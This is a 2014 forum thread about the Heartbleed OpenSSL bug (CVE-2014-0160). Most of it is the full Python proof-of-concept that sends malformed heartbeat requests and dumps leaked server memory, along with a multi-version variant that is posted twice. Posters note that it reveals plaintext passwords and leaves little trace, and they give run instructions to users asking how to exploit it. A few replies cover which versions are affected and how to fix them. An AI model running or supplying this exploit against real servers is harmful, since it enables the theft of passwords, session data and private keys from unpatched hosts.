I posted this this morning.. I don't know where it went.
Heartbleed bug! It is an OpenSSL vulnerability.
This is CVE-2014-0160.
Read about it on the National Vulnerability Database.
[IMG]http://lh3.ggpht.com/-nBQdhQSeINM/U0UeRLYtB5I/AAAAAAAAGio/wHNNa-i5QwY/heartbleed%25255B2%25255D.png?imgmax=800[/IMG]
The best read I've had about it: here.
I'm not going to go too much into it, I'll link you to other sources.
This is NOT my code.
Code #!/usr/bin/env python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
if opts.starttls:
re = s.recv(4096)
if opts.debug: print re
s.send('ehlo starttlstest\n')
re = s.recv(1024)
if opts.debug: print re
if not 'STARTTLS' in re:
if opts.debug: print re
print 'STARTTLS not supported...'
sys.exit(0)
s.send('starttls\n')
re = s.recv(1024)
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
Rahul Sasi's scanner and PoC: http://www.garage4hackers.com/entry.php?b=2551
With this, you can see the passwords in plaintext. It also leave little to no trace.
Yes, I know, its late. Figured I'd share some PoC for it, good reads on it, and a scanner.
Is this exploit possible on all servers that has openSSL installed and running ? My website might be vulnerable then :/
How do I exploit this x.x
I haven't seen a solid tutorial yet.
Apr 9, 2014 03:58 PM
(This post was last modified: Apr 9, 2014 04:34 PM by Bonfire.)
Newly updated code for scanning servers. (Not created by me)
Original code by Jared Stafford ( [email protected])
Modified by Csaba Fitzl for multiple SSL / TLS version support
http://www.exploit-db.com/exploits/32764/
Code # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]
#!/usr/bin/env python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello
def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s,hb):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
for i in range(len(version)):
print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break
if __name__ == '__main__':
main()
(Apr 9, 2014 03:46 PM)TRH4CK Wrote: Is this exploit possible on all servers that has openSSL installed and running ? My website might be vulnerable then :/
No, only servers with OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable.
OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.
I'm glad most big websites have gotten the time to fix this issue before the script kiddies got a hold of tools.
Anyone mind showing me how this works?
(Apr 9, 2014 03:58 PM)Mohatu Wrote: I'm glad most big websites have gotten the time to fix this issue before the script kiddies got a hold of tools.
That's why I figured it was all good to let it out now.
(Apr 9, 2014 03:58 PM)Bonfire Wrote: Newly updated code for scanning servers. (Not created by me)
Original code by Jared Stafford ([email protected])
Modified by Csaba Fitzl for multiple SSL / TLS version support
http://www.exploit-db.com/exploits/32764/
Code # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]
#!/usr/bin/env python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello
def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s,hb):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
for i in range(len(version)):
print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break
if __name__ == '__main__':
main()
No, only servers with OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable.
OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.
I didn't know he made a scanner! Not bad.
Keeping this in mind.
I have other PoC scripts.
I wish I could find the copyright information on that logo. I want a t-shirt.
(Apr 9, 2014 06:43 PM)Mohatu Wrote: I wish I could find the copyright information on that logo. I want a t-shirt.
Just get one printed.
#CivilDisobedience
Sorry if this is a dumbass question but...
How do I run raul's scanner?
(Apr 9, 2014 06:46 PM)motrox Wrote: Sorry if this is a dumbass question but...
How do I run raul's scanner?
Use this:
http://www.exploit-db.com/exploits/32764/
Assuming you're on Linux, run
chmod +x file.py
Then
./file.py <ip>
In your opinion how long do you think until OpenSSL patches this vulnerability? It's quite severe.
(Apr 9, 2014 07:49 PM)Snowl Wrote: In your opinion how long do you think until OpenSSL patches this vulnerability? It's quite severe.
I don't know if a patch has been released yet, but people can just upgrade to OpenSSL 1.0.1g, or disable the heartbeat feature. And changing all your certificates with it.. but to answer the question, very soon with all the media attention it's getting. It's the end of the road for this exploit.
(Apr 9, 2014 07:54 PM)_Silky Wrote: I don't know if a patch has been released yet, but people can just upgrade to OpenSSL 1.0.1g, or disable the heartbeat feature. And changing all your certificates with it.. but to answer the question, very soon with all the media attention it's getting. It's the end of the road for this exploit.
It was pretty much at the end of it yesterday or the day before.
I don't know about a patch but they are endorsing updates, because the newer versions are not affected.
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